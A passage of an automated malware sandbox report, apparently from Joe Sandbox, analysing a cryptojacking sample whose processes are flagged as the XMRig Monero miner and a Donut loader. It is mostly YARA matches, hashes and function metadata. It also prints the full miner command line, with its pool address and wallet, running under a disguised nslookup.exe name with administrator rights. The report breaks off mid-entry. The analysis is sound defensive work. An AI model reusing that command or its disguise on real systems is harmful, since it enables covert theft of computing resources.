Xmrig cryptocurrency miner, Source: 0000000B.00000003.1781787948.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1781787948.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1775201573.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1775201573.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1777129699.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1774272742.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1777129699.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1774272742.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1779467909.000001E32C452000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1779467909.000001E32C452000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1772421269.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1772421269.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1788508164.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1788508164.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1780781024.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1780781024.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1776641956.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1776641956.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1784241324.000001E32C451000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1784241324.000001E32C451000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1772933403.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1772933403.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1774784480.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1774784480.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:42:07
Start date:	30/10/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100
Imagebase:	0x7ff7ba020000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000003.1794466299.000001F9F0E4A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000002.2900254186.0000000140751000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000002.2902562928.000001F9F0DF8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000002.2902562928.000001F9F0E0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000002.2902562928.000001F9F0DF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000002.2902562928.000001F9F0E49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:42:08
Start date:	30/10/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100
Imagebase:	0x7ff7ba020000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000D.00000002.2902391217.0000019A4A4B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000D.00000002.2902391217.0000019A4A4F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000D.00000002.2902391217.0000019A4A4B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000D.00000002.2902391217.0000019A4A50A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000D.00000002.2900249494.0000000140751000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	06:42:09
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\conhost.exe" "/sihost64"
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000E.00000002.2901760284.0000029965517000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000E.00000002.2903432689.0000029966FF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000E.00000002.2906554821.000002997F6D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000E.00000002.2901760284.000002996549D000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000E.00000002.2901760284.00000299654CB000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000E.00000002.2903432689.0000029966FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	29.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	15
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004010C4 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00401109
sprintf.MSVCRT ref: 0040123B

Strings

8]GDXE, xrefs: 004011AF

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID: memsetsprintf
String ID: 8]GDXE
API String ID: 4041149307-2632714434
Opcode ID: f025086886e33f02448ab4351ee0044f6475c1f81167808764aa881225fd618a
Instruction ID: 39431a9c6eb76416a74e9ecc622619c51ee20e8814d728a91cb63a132b490c0f
Opcode Fuzzy Hash: f025086886e33f02448ab4351ee0044f6475c1f81167808764aa881225fd618a
Instruction Fuzzy Hash: 4E712B61702B148DEB909B27DC5139A37A8B749FC8F804176EE4CA7B98EE3DCA448744

Function 00401000 Relevance: 1.3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k$40=(3s))q96e/n7_m:f6,6=q!l6jun, xrefs: 00401098

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID:
String ID: k$40=(3s))q96e/n7_m:f6,6=q!l6jun
API String ID: 0-4154810256
Opcode ID: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
Instruction ID: 0d50406a0cd25772023a57935085f3dfc6f67c384a3cfb9a17e074b16623a215
Opcode Fuzzy Hash: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
Instruction Fuzzy Hash: BC214772B01A40DEEB04CBA9D8913AC3BF1E74878DF00846AEE5DA7B58DA38D5518744

Function 004022FA Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7060d96631f312a0dc568d4d07ef498c7ad85a2d75c32ebe8d41481305ccb03
Instruction ID: 9686121eb9f72fae5e10ab2d8a3ac4b9ff7170e1f7ab924ecbeb4b8f0178945f
Opcode Fuzzy Hash: d7060d96631f312a0dc568d4d07ef498c7ad85a2d75c32ebe8d41481305ccb03
Instruction Fuzzy Hash: 9F215B64702A149CEA44DB67DD653A933A5B74DFC8F808436AE0CA73A5EE7DC6508344

Function 0040224F Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID: memsetsprintf
String ID:
API String ID: 4041149307-0
Opcode ID: 65e9c95be4e24cea900e83d314afdb39b553b8fe9f9e6c70aa87f87638c826b2
Instruction ID: 0ef21ab13f0e72f5e82b28ca8a1d802b698ef2cd9161ee3339a6462a6fe8d703
Opcode Fuzzy Hash: 65e9c95be4e24cea900e83d314afdb39b553b8fe9f9e6c70aa87f87638c826b2
Instruction Fuzzy Hash: 1501E476702B488DDB40DF67DC9139833A4B349BC8F008826AE0CA7B68DA38C6618744

Non-executed Functions

Function 00401D58 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a33d4c2589a0a0e030cf565e08a5ce4a3f4aa7e1e7ab656288357c1d05c0b8cb
Instruction ID: f5786d1abfcdca8d5aa6566e32f28f63e9c87e4faa2297304d8ad0afc813e31e
Opcode Fuzzy Hash: a33d4c2589a0a0e030cf565e08a5ce4a3f4aa7e1e7ab656288357c1d05c0b8cb
Instruction Fuzzy Hash: A9E0B6B6608B84918210EF96F08040AB7A4F7D87C4B14495AFAC807B19CF38C1608B54

Function 00401D18 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 020f5d48da09c7700aeda8bd0a3f6b9993537dbb26fb64f6943ef127969a50b2
Instruction ID: c7d7455ca217e8b3c23fe1936170d254a3e5e22e9f4eb8c11b6f947ad1bce58b
Opcode Fuzzy Hash: 020f5d48da09c7700aeda8bd0a3f6b9993537dbb26fb64f6943ef127969a50b2
Instruction Fuzzy Hash: 72E0B6B6608B84918610EF55F09000AB7A4F7D87C4B10452AFACC07B19CF38C1608B54

Function 004019D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca3c3e23f7f5060f60ee19056fbc1c70fca65fad76dbb6e40effcae9b66313bb
Instruction ID: 627af5f8094be66caef8c1b0706e96e42ef7260cfbbcc69a360fc60fbdea0424
Opcode Fuzzy Hash: ca3c3e23f7f5060f60ee19056fbc1c70fca65fad76dbb6e40effcae9b66313bb
Instruction Fuzzy Hash: DCE0B676608BC4818610EF56F08000EB7A4F3D87C4B50451AFEC807B19CF38C1608B94

Function 00401D98 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db6b6cfaf8a4343f9749643661a9f9a5664ab33be6a1bd7be59ea7afcb63d4d2
Instruction ID: b2e0e82ad3426746da12d9f0277540f7e25234b30cdab3b6ff9ce6c5225f79a2
Opcode Fuzzy Hash: db6b6cfaf8a4343f9749643661a9f9a5664ab33be6a1bd7be59ea7afcb63d4d2
Instruction Fuzzy Hash: B5E0B676608B88818610EF55F09000EB7B4F3E87C4B10852AFAC817B19CF38C2608B54

Function 00401C98 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692169062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1692155813.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692182244.0000000000403000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692330299.0000000000623000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_boooba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a28beb2cf51f9b71989e72db21d67a0b42a4e1b113aff34d5980b4674a401d7
Instruction ID: a4dee403f1f2686bbcf15adc62412925ab874ec13bcc78934c739608fafdbb81
Opcode Fuzzy Hash: 1a28beb2cf51f9b71989e72db21d67a0b42a4e1b113aff34d5980b4674a401d7
Instruction Fuzzy Hash: A6E0B676608B84D28210EF56F09000AB7A4F3D87C4B10455AFAC817B19CF38C1608B54

Analysis Process: conhost.exePID: 6768, Parent PID: 6628COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.9%
Total number of Nodes:	21
Total number of Limit Nodes:	2

Executed Functions

Function 000001575946E106 Relevance: 1.9, APIs: 1, Instructions: 378
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001575946E264

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
Instruction ID: 74983336d2c02bc076b6f7e11c3207458aaf3810f85eaa7fc7990a1490f33266
Opcode Fuzzy Hash: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
Instruction Fuzzy Hash: C7C1C6B0328D45DBE76ADA68DC867EB73D1FBC5302F544169D44ACB1C6EB20EC52CA81

Function 00007FFD9B8A5106 Relevance: .5, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d60ed53a887e5aa8f837887f77310cf7335e44ad723f416ff86b2bb62ebeaccc
Instruction ID: bbc9827d517294c9c122437d6320ec9945dd94ff8d4b3b72b6a1c5cb310a91f4
Opcode Fuzzy Hash: d60ed53a887e5aa8f837887f77310cf7335e44ad723f416ff86b2bb62ebeaccc
Instruction Fuzzy Hash: 5AF1C930609A8D8FEBA8DF28C8657E937D1FF59311F04426ED84DC7295DB34A9858782

Function 00007FFD9B8A5EB2 Relevance: .5, Instructions: 463
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62921ba2af0efe7a94018373272ffad4ead92749bba7e8285d2ad2ade4d1b44
Instruction ID: e3c19966b6cb142fd27aaa440a5345b41b4f66e9c36b7c0eec689e49c1897ffe
Opcode Fuzzy Hash: a62921ba2af0efe7a94018373272ffad4ead92749bba7e8285d2ad2ade4d1b44
Instruction Fuzzy Hash: 6FE1C570A09A4D8FEBA8DF28C8657E97BD1FF58310F04426ED84DC7295DF74A9818782

Function 000001575946E4D6 Relevance: .4, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4df33c4ccec31c159c2c9679ea8671149bf8637389190af38ec92ac25d3ec371
Instruction ID: 39de89a7dd1894125995aa74cfdee51170ec7b6c756b19333aa7ec9459676682
Opcode Fuzzy Hash: 4df33c4ccec31c159c2c9679ea8671149bf8637389190af38ec92ac25d3ec371
Instruction Fuzzy Hash: D0E18D71518A488BDB59DF28D889BEAB7E1FF94301F04462DE84BCB191EF30E946CB41

Function 00007FFD9B8A0120 Relevance: 5.2, Strings: 4, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

87<k, xrefs: 00007FFD9B8A136C
07<k, xrefs: 00007FFD9B8A12EC
87<k, xrefs: 00007FFD9B8A13C0
(7<k, xrefs: 00007FFD9B8A1284

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID: (7<k$07<k$87<k$87<k
API String ID: 0-3253434258
Opcode ID: 88fe017301a872a23785aaa9e22023816e1bcf62c969de13e226ce1b88c783dd
Instruction ID: 01d2ddc26c3e93b28b801de8b5d55fab2c1fe676563268a7992db74193ff4142
Opcode Fuzzy Hash: 88fe017301a872a23785aaa9e22023816e1bcf62c969de13e226ce1b88c783dd
Instruction Fuzzy Hash: A951C360B0DA451FE758BBB8446967A7BD1EF9D714F0505BDE08EC72D2CD2CAC428346

Function 00007FFD9B8A15AD Relevance: 5.2, Strings: 4, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@7<k, xrefs: 00007FFD9B8A1689
H7<k, xrefs: 00007FFD9B8A175F
6<k, xrefs: 00007FFD9B8A1633
6<kW, xrefs: 00007FFD9B8A176D

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID: 6<kW$@7<k$H7<k$6<k
API String ID: 0-704970944
Opcode ID: cc6e8c5cb255a5844736cc7b49d8806bb040c8d82430d167cd1c44c559396ba9
Instruction ID: 6b2e0e1fa5b337d39c9b1fa6b3488763d0906c697ecceaff76690e8c2dd112ae
Opcode Fuzzy Hash: cc6e8c5cb255a5844736cc7b49d8806bb040c8d82430d167cd1c44c559396ba9
Instruction Fuzzy Hash: 7151EA31B0A94D5FE7A5FBAC84796B977E1EF9971470900BDD04AC72A2DE2CAC02C711

Function 00007FFD9B8A1221 Relevance: 3.9, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

87<k, xrefs: 00007FFD9B8A136C
07<k, xrefs: 00007FFD9B8A12EC
(7<k, xrefs: 00007FFD9B8A1284

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID: (7<k$07<k$87<k
API String ID: 0-1414331572
Opcode ID: 03e77ab9ac277f7ec3c765a8ec53cc1a7d3256f499fac55bc78f31773b259279
Instruction ID: b6052df284d7749d567b92e00d61d3340d59072a40dc01a678fd783ee4086eeb
Opcode Fuzzy Hash: 03e77ab9ac277f7ec3c765a8ec53cc1a7d3256f499fac55bc78f31773b259279
Instruction Fuzzy Hash: 7251F360B0DA891FE754FBB844696A97BE1EF9D314F0501BEE08EC72E3CD2C98418356

Function 000001575946DEB2 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLRCreateInstance.MSCOREE ref: 000001575946DF01
SafeArrayDestroy.OLEAUT32 ref: 000001575946E0AC

Memory Dump Source

